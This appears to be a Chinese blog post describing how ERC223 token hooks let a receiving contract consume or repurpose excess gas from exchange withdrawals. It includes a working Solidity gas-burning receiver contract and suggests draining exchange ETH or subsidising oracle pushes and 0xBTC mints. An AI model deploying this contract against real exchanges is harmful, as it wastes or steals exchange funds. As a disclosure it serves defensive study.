ERC223 GAS费窃取问题
ERC223 是一种基于 ERC20 标准的代币,它与 ERC20 不一样的是,如果转账的 receiver 是合约地址,则会调用合约地址的特定函数。这就好像支付宝和微信支付的通知回调接口一样。
if (isUserAddress == false) {
ERC223ContractInterface receiver = ERC223ContractInterface(_to);
receiver.tokenFallback(msg.sender, _value, _data);
}
当然 ERC 677 和 ERC 777 也有类似的问题,不过他们的钩子不在 transfer 方法中,所以对交易所不会造成影响。
Tx.origin的担忧
因此我们能联想到的是如果在 ERC223 中 msg.sender 发送一笔交易,他如果参与了使用 tx.origin 做验证的缺陷合约(代币、理财)那是不是有安全问题。因此为了规避此类安全问题,通常会要求交易所将该币种与其他币种做业务隔离,单独分配一个地址做此项业务。
Estimate Gas
其次是在完成这一类判断以后,仍要注意的是,钱包是否在转账的时是否 estimateGas ,还是设定为一个固定值。如果 estimateGas 则会有问题,他们可以通过提币的方式来窃取你的gas,做更多额外的事情。
EIP1559
在 EIP1559 以后做了一个重大的更新,交易费分为了基本费(base fee)、小费(priority fee)、最高费用(max fee)。并且如果一笔交易你仅用了部分gas,那么将会退还你的部分费用。
用户退款金额=最高费用-(基本费+小费)
在 EIP1559 以后有部分交易所利用了这一特性,直接在每一笔 transfer 中给出了最高费用,100万。
我实际在交易所中支出的提币手续费仅价值 3U ,但是我却窃取到了价值 40 U的 gas。以下是接收合约的代码,只是不断的在浪费gas,通过此脚本可以测算出哪些交易所在 estimateGas 。哪些交易所在 固定gas ,哪些交易所在 gas不够的情况下会追加gas 重新发送交易。
/**
*Submitted for verification at Etherscan.io on 2022-06-21
*/
pragma solidity ^0.8.0;
/**
* @title Contract that will work with ERC223 tokens.
*/
abstract contract IERC223Recipient {
struct ERC223TransferInfo
{
address token_contract;
address sender;
uint256 value;
bytes data;
}
ERC223TransferInfo private tkn;
uint256 loopnum;
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes memory _data) public virtual
{
/**
* @dev Note that inside of the token transaction handler the actual sender of token transfer is accessible via the tkn.sender variable
* (analogue of msg.sender for Ether transfers)
*
* tkn.value - is the amount of transferred tokens
* tkn.data - is the "metadata" of token transfer
* tkn.token_contract is most likely equal to msg.sender because the token contract typically invokes this function
*/
tkn.token_contract = msg.sender;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
for (uint i = 3; i <= loopnum; i++) {
require(i-1 > 1);
}
// ACTUAL CODE
}
}
contract MyContract is IERC223Recipient {
function setnum(uint256 num) public {
loopnum = num;
}
}
窃取gas的用途
漏洞的利用场景很值得思考,如果仅是损人不利己,那么似乎是个鸡肋漏洞。虽然在测试中在我提币失败以后,交易所全额退还了我的交易费。这意味着我们可以利用此漏洞在gas高的时候刷光交易所的ETH余额。
预言机场景
100万gas可以做很多事情,通常完成转账只需要10万gas,剩余的90万可以用来做预言机。当然不能作为价格预言机。
transfer(address _to, uint256 _value)
在transfer中 value是可控的,在减去交易所提币手续费后,我们可以用 value 作为一个可控的变量传输数据到区块链链上。
0xBTC
0xBTC是一个链下挖矿,推送ETH链上的Mint的有趣的小币。通常来说一笔 Mint 会在 27w gas左右。如果漏洞利用得当,你将获得比寻常矿工更低的成本。